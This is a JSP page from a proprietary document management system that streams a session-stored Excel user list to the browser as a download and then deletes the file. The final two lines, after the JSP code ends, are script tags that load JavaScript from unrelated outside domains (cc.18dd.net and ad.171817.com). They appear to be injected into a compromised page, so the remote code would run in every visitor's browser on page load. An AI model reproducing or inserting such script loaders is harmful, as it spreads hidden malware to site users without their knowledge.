<%
/*
 * @(#)FileDownloadUserList.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FileDownloadUserList.jsp

  This class is used to retrieve the search result content from http

  @author          Weison Liang
  @company         DCIVision Limited
  @creation date   02/03/2005
  @version         $Revision: 1.1.26.2 $
*/
%><%@page import="com.dcivision.dms.core.FileDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="org.apache.struts.action.Action"
%><%@page import="com.dcivision.user.bean.UserMember"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
InputStream dataStream = null;
String exlFileName = (String)request.getSession().getAttribute("excelFileName");
String role=(String)request.getSession().getAttribute("ROLE");
String group=(String)request.getSession().getAttribute("GROUP");
try {
  dataStream = new FileInputStream(exlFileName);
  if(UserMember.MEMBER_TYPE_ROLE.equals(role)){
    FileDownloader fd = new FileDownloader();
    fd.setIsDownload(true);
    fd.setFileName("UserListFromUserRole.xls");
    fd.setContentType(HTTPUtility.CONTENT_TYPE);
    fd.setInputStream(dataStream);
    fd.setResponse(response);
    fd.operate();
    request.getSession().removeAttribute("excelFileName");
  }else if(UserMember.MEMBER_TYPE_GROUP.equals(group)){
    FileDownloader fd = new FileDownloader();
    fd.setIsDownload(true);
    fd.setFileName("UserListFromUserGroup.xls");
    fd.setContentType(HTTPUtility.CONTENT_TYPE);
    fd.setInputStream(dataStream);
    fd.setResponse(response);
    fd.operate();
    request.getSession().removeAttribute("excelFileName");
  }
  
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
} finally {
  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
  try { new File(exlFileName).delete(); } catch (Exception ignore) {}
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>